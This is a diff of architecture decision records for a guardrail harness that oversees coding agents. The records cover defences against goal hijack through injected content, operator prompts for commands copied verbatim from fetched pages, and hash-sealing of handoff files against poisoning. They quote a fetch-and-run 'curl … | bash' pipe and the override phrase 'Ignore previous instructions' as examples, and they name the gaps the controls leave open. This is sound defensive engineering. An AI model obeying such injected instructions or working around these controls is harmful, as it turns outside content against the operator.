**An unreadable or non-JSON manifest yields nothing.** The conservative direction is the one where honest work is
|
|
59
|
+
not blocked: a missed dependency is quieter than a refused rename.
|
|
60
|
+
|
|
61
|
+
**The version rule is a judgement about ranges.** `^1.2.3` and `~2.0` pass because the lockfile decides the bytes;
|
|
62
|
+
a bare `>=1` fails because nothing bounds it above. A project that deliberately floats will find the rail wrong,
|
|
63
|
+
which is why it is opt-in and why the refusal invites one line of justification rather than demanding compliance.
|
|
64
|
+
|
|
65
|
+
**A filename the table does not carry is invisible.** Six ecosystems today. The failure is silent and the fix is
|
|
66
|
+
one row, which is the same cost the comment gate's syntax table carries
|
|
67
|
+
([/decisions/ad-058.md](/decisions/ad-058.md)).
|
|
68
|
+
|
|
69
|
+
## Not decided here
|
|
70
|
+
|
|
71
|
+
- **Advisories, licences, typosquats.** Each needs the network on every stop, and hook latency is a product
|
|
72
|
+
property ([/decisions/ad-012.md](/decisions/ad-012.md)). `npm audit` is already a gate command an operator can
|
|
73
|
+
configure.
|
|
74
|
+
- **Blocking an install command.** The floor refuses fetch-and-run
|
|
75
|
+
([/decisions/ad-074.md](/decisions/ad-074.md)); a package install through the ecosystem's own client is
|
|
76
|
+
ordinary work.
|
|
77
|
+
- **Transitive lockfile churn.** A lockfile moving under an unchanged manifest is upstream's doing.
|
|
78
|
+
- **How to cover PHP.** The row is blocked by a name collision, not by a design problem. Moving the table out of
|
|
79
|
+
`src/core` to dodge a word would be worse than the gap.
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
---
|
|
2
|
+
type: Decision
|
|
3
|
+
title: "AD-076 — Goal-hijack enforcement needs the tool's output, and the host does not deliver it"
|
|
4
|
+
description: "The untrusted-content rail frames rather than enforces, and promoting it means knowing that this action was caused by that content. The provider's PostToolUse hook carries no tool output, so causation is unknowable at that point. Recorded as a decision not to build, with the fact that blocks it and what would unblock it."
|
|
5
|
+
tags: [decision, untrusted-content, providers]
|
|
6
|
+
timestamp: "2026-08-17"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# AD-076 — Goal-hijack enforcement needs the tool's output, and the host does not deliver it
|
|
10
|
+
|
|
11
|
+
- **status**: active
|
|
12
|
+
|
|
13
|
+
## Correction, same day
|
|
14
|
+
|
|
15
|
+
**The central fact in this record is wrong, and the decision that followed from it is wrong.** It is kept rather
|
|
16
|
+
than rewritten because how the error was made is worth more than the appearance of not having made it.
|
|
17
|
+
|
|
18
|
+
The claim "the host does not deliver it" rested on one source: the provider's published hook reference, read
|
|
19
|
+
through a summarising fetch. Measured afterwards against 69,034 real records in this machine's own observability
|
|
20
|
+
spool:
|
|
21
|
+
|
|
22
|
+
| `hook_event_name` | records | carrying tool output |
|
|
23
|
+
| --- | --- | --- |
|
|
24
|
+
| `PostToolUse` | 3,808 | **3,759** |
|
|
25
|
+
| `afterShellExecution` | 2,745 | **2,745** |
|
|
26
|
+
| `afterMCPExecution` | 365 | **365** |
|
|
27
|
+
| `postToolUse` | 19,651 | 0 |
|
|
28
|
+
| `afterFileEdit` | 1,516 | 0 |
|
|
29
|
+
|
|
30
|
+
Both providers deliver it. Claude Code carries `tool_response` on `PostToolUse`; Cursor carries `output` on
|
|
31
|
+
`afterShellExecution` and `result_json` on `afterMCPExecution`. Our own fixtures omit the field, which is why
|
|
32
|
+
reading our code first suggested it did not exist — the fixtures were the second weak source, not a confirmation.
|
|
33
|
+
|
|
34
|
+
Two lessons, both already in this corpus and both ignored here. Read the host, not the code — and then read the
|
|
35
|
+
*traffic*, not the host's documentation about itself. A doc summarised by a model is the weakest evidence
|
|
36
|
+
available, and a decision record built on it inherits its confidence without its uncertainty.
|
|
37
|
+
|
|
38
|
+
The buildable decision is [/decisions/ad-077.md](/decisions/ad-077.md). What survives below is the reasoning
|
|
39
|
+
about the transcript, and the observation that the floor covers the damaging tail regardless of provenance —
|
|
40
|
+
neither depended on the false fact.
|
|
41
|
+
|
|
42
|
+
## Decision
|
|
43
|
+
|
|
44
|
+
1. **The untrusted-content rail stays framing.** It is not promoted to enforcement.
|
|
45
|
+
2. **The blocking fact is the host's**, not ours: the `tool.after` payload carries no tool output, so the content
|
|
46
|
+
that could have carried a directive is not available where a decision would be made.
|
|
47
|
+
3. **The transcript is not adopted as a substitute**, because the provider's own documentation states it is
|
|
48
|
+
written asynchronously and may lag the live conversation.
|
|
49
|
+
4. **The dangerous tail is already covered by provenance-blind rules**, and that is the coverage story rather
|
|
50
|
+
than detection.
|
|
51
|
+
|
|
52
|
+
## Why
|
|
53
|
+
|
|
54
|
+
**Enforcement here means establishing causation.** "This content hijacked the goal" requires knowing that the
|
|
55
|
+
action about to run came *from* the content. Without the content there is no link, and a rail that guessed the
|
|
56
|
+
link would interrupt every turn that acted after reading anything external.
|
|
57
|
+
|
|
58
|
+
**The content is not there.** Checked against the provider's published hook reference rather than against our own
|
|
59
|
+
code: the tool event delivers `session_id`, `transcript_path`, `cwd`, `permission_mode`, `hook_event_name`,
|
|
60
|
+
`tool_name`, `tool_input`, `tool_use_id` — and no field carrying what the tool returned. Our own fixture for that
|
|
61
|
+
event has the same shape, which is consistent rather than a coincidence.
|
|
62
|
+
|
|
63
|
+
Designing first would have produced the failure this project has recorded eight times: a consumer reading where
|
|
64
|
+
the producer does not write ([/decisions/ad-065.md](/decisions/ad-065.md)). The rail would have shipped, passed
|
|
65
|
+
its tests against synthetic input, and detected nothing in production — a security control that is silently inert
|
|
66
|
+
is worse than an absent one, because it is counted.
|
|
67
|
+
|
|
68
|
+
**The transcript is a worse foundation than it looks.** It does hold tool results, and the harness already reads
|
|
69
|
+
its tail for token accounting. But the provider documents it as written asynchronously and possibly lagging the
|
|
70
|
+
in-memory conversation, so a rail reading it would miss content that arrived and not know it had. For a rail whose
|
|
71
|
+
whole job is catching an attack, an unbounded false-negative rate that nothing can measure is not a control.
|
|
72
|
+
|
|
73
|
+
**The tail that actually matters is already refused, and provenance never mattered to it.** A hijack succeeds by
|
|
74
|
+
making the agent *do* something. The most damaging things — running a program fetched from the network, reading a
|
|
75
|
+
credential, destroying outside the project, rewriting history, controlling the machine, writing policy — are floor
|
|
76
|
+
rules ([/decisions/ad-074.md](/decisions/ad-074.md)), evaluated before any policy is read and regardless of who or
|
|
77
|
+
what suggested them. An injected instruction to `curl … | bash` is refused for being unreadable code, not for
|
|
78
|
+
being injected. That is a stronger guarantee than detection: it does not depend on recognising the attack.
|
|
79
|
+
|
|
80
|
+
## Trade-offs
|
|
81
|
+
|
|
82
|
+
**The honest coverage claim stays partial**, and this record is why. A hijack that makes the agent do something
|
|
83
|
+
*ordinary* — edit the wrong file, open the wrong PR, summarise misleadingly — is not caught by anything here. The
|
|
84
|
+
framing line is a request to the model, and a request to a stochastic system is not a control surface.
|
|
85
|
+
|
|
86
|
+
**Framing still earns its place, narrowly.** It costs a few hundred characters once per turn, it names the source
|
|
87
|
+
that fired, and it gives the model an explicit instruction to report a directive rather than obey it. That is worth
|
|
88
|
+
having and is not worth calling enforcement.
|
|
89
|
+
|
|
90
|
+
**This spends a decision record on something not built.** The corpus had no shape for that: seventy-five records,
|
|
91
|
+
every one about something shipped. A record of a checked-and-refused approach is what stops the next person
|
|
92
|
+
designing it, discovering the same hole, and paying for it twice.
|
|
93
|
+
|
|
94
|
+
## Not decided here
|
|
95
|
+
|
|
96
|
+
- **A `Stop`-time variant.** The provider exposes `last_assistant_message` at `Stop`, which contains the model's
|
|
97
|
+
own text rather than the tool's output. Whether a hijack is detectable in what the model *said* is a different
|
|
98
|
+
question, at a point where the turn is already over.
|
|
99
|
+
- **Asking the provider for the field.** The right long-term fix is the host delivering tool output to the tool
|
|
100
|
+
event. Nothing here can do that, and the rail becomes buildable the day it lands.
|
|
101
|
+
- **Provider-specific transcript reading behind the port.** Rejected above on the lag, not on layering. If the
|
|
102
|
+
documentation ever states a synchronous guarantee, the objection goes with it.
|
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
---
|
|
2
|
+
type: Decision
|
|
3
|
+
title: "AD-077 — A command that appears verbatim in fetched content is put to the operator"
|
|
4
|
+
description: "The untrusted-content rail framed and could not refuse, because refusing means proving the action came from the content. Both hosts do deliver what the tool returned — measured across 69,034 real records after a decision record claimed the opposite. An enforce mode remembers that content, bounded, and asks before a command found verbatim inside it."
|
|
5
|
+
tags: [decision, untrusted-content, providers, rails]
|
|
6
|
+
timestamp: "2026-08-17"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# AD-077 — A command that appears verbatim in fetched content is put to the operator
|
|
10
|
+
|
|
11
|
+
- **status**: active
|
|
12
|
+
|
|
13
|
+
## Decision
|
|
14
|
+
|
|
15
|
+
1. **`toolOutput` joins the event contract**, optional, translated by each adapter from its own field and type.
|
|
16
|
+
2. **A capability, `toolOutputAtAfter`**, because presence is per-event rather than per-host.
|
|
17
|
+
3. **A second mode, `untrustedContent.mode: "frame" | "enforce"`.** `frame` is unchanged and stays the default.
|
|
18
|
+
4. **`enforce` remembers what an untrusted read returned**, bounded at 64 KB per session, newest first,
|
|
19
|
+
whitespace collapsed and nothing else rewritten.
|
|
20
|
+
5. **A shell command appearing verbatim in it yields `ask`**, naming the source — not `deny`.
|
|
21
|
+
|
|
22
|
+
## Why
|
|
23
|
+
|
|
24
|
+
**This record exists because the previous one was wrong.** [/decisions/ad-076.md](/decisions/ad-076.md) concluded
|
|
25
|
+
that the host does not deliver tool output, on the strength of one source: the provider's published hook
|
|
26
|
+
reference, read through a summarising fetch, with our own fixtures — which omit the field — taken as
|
|
27
|
+
confirmation. Measured afterwards against 69,034 real records in this machine's own observability spool:
|
|
28
|
+
|
|
29
|
+
| `hook_event_name` | records | carrying output | field | type | largest |
|
|
30
|
+
| --- | --- | --- | --- | --- | --- |
|
|
31
|
+
| `PostToolUse` | 3,808 | 3,759 | `tool_response` | object | 66 KB |
|
|
32
|
+
| `afterShellExecution` | 2,745 | 2,745 | `output` | string | 864 KB |
|
|
33
|
+
| `afterMCPExecution` | 365 | 365 | `result_json` | string | 691 KB |
|
|
34
|
+
| `postToolUse` | 19,651 | 0 | — | — | — |
|
|
35
|
+
| `afterFileEdit` | 1,516 | 0 | — | — | — |
|
|
36
|
+
|
|
37
|
+
Both hosts deliver it. The lesson is one this corpus already held and this session ignored twice: read the host
|
|
38
|
+
rather than the code, and then read the **traffic** rather than the host's documentation about itself.
|
|
39
|
+
|
|
40
|
+
**Three measured facts shaped the design, and each would have been a defect if assumed.**
|
|
41
|
+
|
|
42
|
+
*Three names and two types.* One host returns an object, another two strings, under three different keys. That is
|
|
43
|
+
what the anti-corruption layer is for ([/decisions/ad-004.md](/decisions/ad-004.md)) — the translation is each
|
|
44
|
+
adapter's, and core reads one field.
|
|
45
|
+
|
|
46
|
+
*Presence is per-event.* Two after-events carry nothing across 21,167 records. A rail that assumed presence
|
|
47
|
+
would have been blind on the majority of one host's traffic and reported nothing, which is the silently-inert
|
|
48
|
+
control [/decisions/ad-076.md](/decisions/ad-076.md) argued is worse than none. Hence a capability *and* a check
|
|
49
|
+
of the field.
|
|
50
|
+
|
|
51
|
+
*It can be 864 KB.* Remembering everything would put megabytes in the state directory and spend hook latency
|
|
52
|
+
reading it back ([/decisions/ad-012.md](/decisions/ad-012.md)). The budget is fixed, the newest content wins, and
|
|
53
|
+
what was dropped is recorded so a miss is explainable.
|
|
54
|
+
|
|
55
|
+
**Verbatim, because provenance has to be provable.** An agent that rewrites a command before running it is
|
|
56
|
+
missed, deliberately. The alternative is guessing that a command resembles the content, which would ask about
|
|
57
|
+
every command in every turn that read anything — the shape that gets a rail switched off
|
|
58
|
+
([/decisions/ad-034.md](/decisions/ad-034.md)).
|
|
59
|
+
|
|
60
|
+
**`ask` rather than `deny`, because the finding is not a verdict.** A page saying "run `npm install`" and an agent
|
|
61
|
+
running it is worth the operator's eye and is not certainly an attack. A narrower interruption is worth more than
|
|
62
|
+
a broader one ([/decisions/ad-026.md](/decisions/ad-026.md)), and the ask names the source so the operator decides
|
|
63
|
+
with the evidence.
|
|
64
|
+
|
|
65
|
+
## Trade-offs
|
|
66
|
+
|
|
67
|
+
**A rewritten command is invisible.** This catches the copy, not the paraphrase. It is the half that can be
|
|
68
|
+
proven.
|
|
69
|
+
|
|
70
|
+
**The recall lives on disk.** The read and the command are two hook invocations in two processes, so memory is
|
|
71
|
+
not an option. It is one small JSON file per session in the state directory, cleared on the prompt boundary with
|
|
72
|
+
the framing marker.
|
|
73
|
+
|
|
74
|
+
**Only shell commands are checked.** A write whose content came from a fetched page is the same shape and a much
|
|
75
|
+
larger matching problem. Shell is where the damage is immediate.
|
|
76
|
+
|
|
77
|
+
**The vendor field names could not go in the contract's prose.** `check-boundaries` refused the comment naming
|
|
78
|
+
them, correctly: a shared vocabulary that teaches one host's field names is no longer shared. The measurement
|
|
79
|
+
lives here and in the provider docs; the contract states the shape.
|
|
80
|
+
|
|
81
|
+
**`UntrustedMode` needed an entry in the wiring checker's config-facing list.** `enforce` is written by an
|
|
82
|
+
operator in a project config and by nothing in this repository, so the read-and-never-written rule
|
|
83
|
+
([/decisions/ad-041.md](/decisions/ad-041.md)) would have failed the gate. That list is the only escape hatch and
|
|
84
|
+
it is per union, so the entry states that the whole type is operator-supplied rather than hiding a dead member.
|
|
85
|
+
|
|
86
|
+
## Not decided here
|
|
87
|
+
|
|
88
|
+
- **Detecting an injected directive in the content.** "Ignore previous instructions" is a pattern, and a rail
|
|
89
|
+
firing on the pattern fires on this repository's own documentation about the pattern. The action is observable;
|
|
90
|
+
the intent is not.
|
|
91
|
+
- **Non-shell actions.** Stated above.
|
|
92
|
+
- **The transcript.** Documented as possibly lagging the live conversation, and now unnecessary.
|
|
93
|
+
- **Whether `enforce` should become the default.** It changes behaviour for every project that enabled the rail,
|
|
94
|
+
and a capability changes nothing by default when it arrives.
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
---
|
|
2
|
+
type: Decision
|
|
3
|
+
title: "AD-078 — The two files the harness reads aloud are sealed on write and verified on injection"
|
|
4
|
+
description: "Every policy source is hashed at session start, and the handoff and the lesson store are not among them — yet both are read into future turns. The policy mechanism does not transfer, because the handoff changes every turn by design. Sealed on write instead, inside the lock, and a write the harness did not make withholds the content rather than refusing the turn."
|
|
5
|
+
tags: [decision, integrity, state]
|
|
6
|
+
timestamp: "2026-08-17"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# AD-078 — The two files the harness reads aloud are sealed on write and verified on injection
|
|
10
|
+
|
|
11
|
+
- **status**: active
|
|
12
|
+
|
|
13
|
+
## Decision
|
|
14
|
+
|
|
15
|
+
1. **Sealed on write, inside the lock.** After the harness writes the handoff or the project lesson store it
|
|
16
|
+
records the content hash in a sidecar.
|
|
17
|
+
2. **Verified where the content is injected**, not on every read.
|
|
18
|
+
3. **Divergence withholds the content and names the file.** The turn continues without it.
|
|
19
|
+
4. **A missing sidecar is adopted, not refused.**
|
|
20
|
+
5. **The platform stays generic**: `updateJsonAtomic` gained a callback that runs inside the lock, and what it
|
|
21
|
+
does is core's business.
|
|
22
|
+
|
|
23
|
+
## Why
|
|
24
|
+
|
|
25
|
+
**Two files are read into future turns and neither was covered.** The policy baseline hashes the project config,
|
|
26
|
+
the runtime config, `harness-mode` and the flag files. `handoff.json` is read at `session.start`, `stop`,
|
|
27
|
+
`subagent.stop` and `response.after`, and the lesson store is selected and rendered into the turn's context.
|
|
28
|
+
Text placed in either reaches the model on every later turn, and nothing detected it.
|
|
29
|
+
|
|
30
|
+
**The policy mechanism does not transfer, and copying it would have produced noise.** A policy file does not change
|
|
31
|
+
during a session except by an operator command, which is what makes "did this change" the right question. The
|
|
32
|
+
handoff changes **every turn by design** — the harness rewrites it at the end of each one. Hashed as a policy
|
|
33
|
+
source it would diverge constantly and the rail would be switched off on its first day
|
|
34
|
+
([/decisions/ad-034.md](/decisions/ad-034.md)).
|
|
35
|
+
|
|
36
|
+
The answerable question is *did something other than the harness change it*, and it is answerable because each
|
|
37
|
+
file has exactly one write path: `patchHandoff` and `mutateStore`, both through `updateJsonAtomic`.
|
|
38
|
+
|
|
39
|
+
**The seal is recorded inside the lock.** A caller sealing after the lock releases races the next writer, and the
|
|
40
|
+
one that loses leaves a record matching neither content — a file that reads as diverged on the next turn for no
|
|
41
|
+
reason. That is why the platform helper gained the callback instead of the two call sites sealing afterwards.
|
|
42
|
+
|
|
43
|
+
**Reading and injecting are different acts.** `tlc harness handoff` displaying a diverged file is how an operator
|
|
44
|
+
investigates it. A turn being *told* what the file says is the moment worth withholding. Refusing the read would
|
|
45
|
+
have removed the only tool for diagnosing the problem the rail reports.
|
|
46
|
+
|
|
47
|
+
**Withholding, not refusing the turn.** A poisoned handoff should not stop work; it should stop being read aloud.
|
|
48
|
+
The note names the file and says that the next harness write reseals it, so the operator whose own edit triggered
|
|
49
|
+
it has a one-step way out.
|
|
50
|
+
|
|
51
|
+
## Trade-offs
|
|
52
|
+
|
|
53
|
+
**This is defence in depth and not the first line, and it must not be described as one.** The floor already
|
|
54
|
+
refuses an agent write to either file — both sit under the project state directory, which `policy-surface-write`
|
|
55
|
+
covers. What this catches is a write the floor did not see: another process, an MCP server with filesystem
|
|
56
|
+
access, a route through a tool the detection list does not name.
|
|
57
|
+
|
|
58
|
+
**Deleting the sidecar buys one unverified read.** A missing seal is adopted, because every install predating this
|
|
59
|
+
has no sidecar and refusing on absence would break all of them. An attacker who can delete the sidecar can also
|
|
60
|
+
edit the file, so the hole is real and bounded to a single turn — the next harness write reseals, and thereafter a
|
|
61
|
+
second edit diverges.
|
|
62
|
+
|
|
63
|
+
**No signing.** A key the harness can read is a key anything in the same session can read, and key management is
|
|
64
|
+
out of scope here exactly as it is for the attestation chain ([/decisions/ad-028.md](/decisions/ad-028.md)). The
|
|
65
|
+
hash detects a change; it does not prove who made it.
|
|
66
|
+
|
|
67
|
+
**The global lesson store is not sealed.** It is written by sessions in other repositories, so a per-project seal
|
|
68
|
+
would diverge on every legitimate cross-project write. The tier that crosses products is the tier this cannot
|
|
69
|
+
cover, which is the same boundary [/decisions/ad-040.md](/decisions/ad-040.md) drew for a different reason.
|
|
70
|
+
|
|
71
|
+
**Two more files now carry a sidecar.** One small JSON each, under the state directory, written inside a lock the
|
|
72
|
+
write already held. The cost is a hash of a small file per write.
|
|
73
|
+
|
|
74
|
+
## Not decided here
|
|
75
|
+
|
|
76
|
+
- **Sealing the rest of the state directory.** Obs logs, locks, flags and boot markers are not injected into a
|
|
77
|
+
turn, so sealing them would cost writes and catch nothing that reaches the model.
|
|
78
|
+
- **What `doctor` should say about an unsealed file.** Every install starts unsealed and seals itself on the first
|
|
79
|
+
write, so a warning would fire on a healthy install — the shape
|
|
80
|
+
[/decisions/ad-034.md](/decisions/ad-034.md) refuses. Whether a *persistently* unsealed file is worth reporting
|
|
81
|
+
needs a measurement nobody has.
|
|
82
|
+
- **Verifying at `stop` as well as `session.start`.** The stop reads the handoff to decide, rather than to tell the
|
|
83
|
+
model, so the same reasoning that separates reading from injecting applies. Whether a decision taken from a
|
|
84
|
+
poisoned handoff is a distinct risk is a separate question.
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
---
|
|
2
|
+
type: Decision
|
|
3
|
+
title: "AD-079 — The coverage claim is a generated page with its gaps in it, not a badge in the README"
|
|
4
|
+
description: "A self-assessment against a published risk taxonomy is worth publishing and worth keeping out of the README. Every hand-written list of this project's own rules drifted inside one week, so the control column is generated from the catalogs and a name that stops existing fails the build."
|
|
5
|
+
tags: [decision, docs, security, gates]
|
|
6
|
+
timestamp: "2026-08-17"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# AD-079 — The coverage claim is a generated page with its gaps in it, not a badge in the README
|
|
10
|
+
|
|
11
|
+
- **status**: active
|
|
12
|
+
|
|
13
|
+
## Decision
|
|
14
|
+
|
|
15
|
+
1. **A page of its own**, `docs/coverage.md`, not a table in the README. The README links it in one paragraph.
|
|
16
|
+
2. **The control column is generated** from `floor.catalog.ts` and `capabilities/catalog.json`, and a name that is
|
|
17
|
+
neither a floor rule nor a capability id fails the gate.
|
|
18
|
+
3. **A row short of `covered` must state what it leaves open**, checked mechanically.
|
|
19
|
+
4. **The taxonomy version and the date are on the page**, because a revision to somebody else's list makes ours
|
|
20
|
+
stale and nothing here will notice.
|
|
21
|
+
5. **No badge, no score in the README.**
|
|
22
|
+
|
|
23
|
+
## Why
|
|
24
|
+
|
|
25
|
+
**Publishing it is worth more than a badge, and the gaps are why.** A reader deciding whether to adopt this wants
|
|
26
|
+
to know what it does not do. Four covered, five partial, one not applicable — with each limit written in the terms
|
|
27
|
+
an operator would notice — is a more useful and more credible artifact than a number.
|
|
28
|
+
|
|
29
|
+
**The README is the wrong home, on evidence from this week.** Every hand-written list of this project's own rules
|
|
30
|
+
drifted, and three were found and fixed within days of each other: the wizard's narrated half still described the
|
|
31
|
+
comment gate diffing against `HEAD` after a decision replaced it; `concepts.md` still said the grind lock waits 120
|
|
32
|
+
seconds after a decision replaced that too; and `secret-access`'s own description in the floor catalog still
|
|
33
|
+
described only files after the metadata-service rule shipped. A risk mapping is a fourth view of the same facts,
|
|
34
|
+
and it would have drifted the same way.
|
|
35
|
+
|
|
36
|
+
So the control names come from the catalogs and the gate checks them. A rail renamed or removed fails the build
|
|
37
|
+
rather than leaving a claim standing on a page nobody re-reads. What stays hand-written is the judgement — which
|
|
38
|
+
risk a control answers, and what it leaves open — because no generator can produce that.
|
|
39
|
+
|
|
40
|
+
**A self-graded score in the README would contradict the product.** The ship gate blocks a turn that claims
|
|
41
|
+
delivery without evidence. The empty-diff anti-ship exists because a claim with no diff behind it is worth nothing.
|
|
42
|
+
[/decisions/ad-053.md](/decisions/ad-053.md) refused to ship an allowlist that names nothing, on the grounds that
|
|
43
|
+
a control enforcing nothing is worse than none. A badge asserting coverage we grade ourselves is the same move the
|
|
44
|
+
gates refuse, and the first reader who checks it against the code stops trusting the rest of the README.
|
|
45
|
+
|
|
46
|
+
**The limit field is required rather than encouraged.** A `partial` row with no stated limit is a claim with no
|
|
47
|
+
edge, which reads as coverage to anyone skimming. The checker refuses it, so the page cannot degrade into a
|
|
48
|
+
scoreboard.
|
|
49
|
+
|
|
50
|
+
## Trade-offs
|
|
51
|
+
|
|
52
|
+
**It is a fourth view of the same rules.** README tiers, `architecture.md`, `concepts.md` prose, and now this. The
|
|
53
|
+
first two are generated, this one is half-generated, and `concepts.md` is not — which makes `concepts.md` the next
|
|
54
|
+
one to drift. Naming that here is cheaper than discovering it later.
|
|
55
|
+
|
|
56
|
+
**A self-assessment is worth what the reader thinks of the author.** The page says so in its first line rather than
|
|
57
|
+
implying otherwise. Nobody external has verified it, and no wording makes that untrue.
|
|
58
|
+
|
|
59
|
+
**The taxonomy will move and this page will not.** There is no mechanism to notice a revision to somebody else's
|
|
60
|
+
published list — only the date. A generated page cannot fix a stale premise, and pretending the version string is
|
|
61
|
+
a check would be worse than admitting it is a marker.
|
|
62
|
+
|
|
63
|
+
**Three of the five partials are partial for one reason.** The harness sits at one developer's editor: it sees
|
|
64
|
+
actions rather than identities, and what a turn wrote rather than what it meant. That is a property of the
|
|
65
|
+
substrate, not a backlog, and rows that say so are more honest than rows implying work is queued.
|
|
66
|
+
|
|
67
|
+
## Not decided here
|
|
68
|
+
|
|
69
|
+
- **Generating `concepts.md`.** It is the last unrendered view of the rails and the one most likely to drift next.
|
|
70
|
+
It is also prose an operator reads end to end, which a generator does not write well.
|
|
71
|
+
- **A second taxonomy.** One is a frame; two is a compliance matrix, and nothing has asked for that.
|
|
72
|
+
- **Whether `covered` should require a test.** Every control named here has tests, but nothing checks that link.
|
|
73
|
+
Asserting it mechanically would mean naming test files in the table, which is a fifth thing to keep in step.
|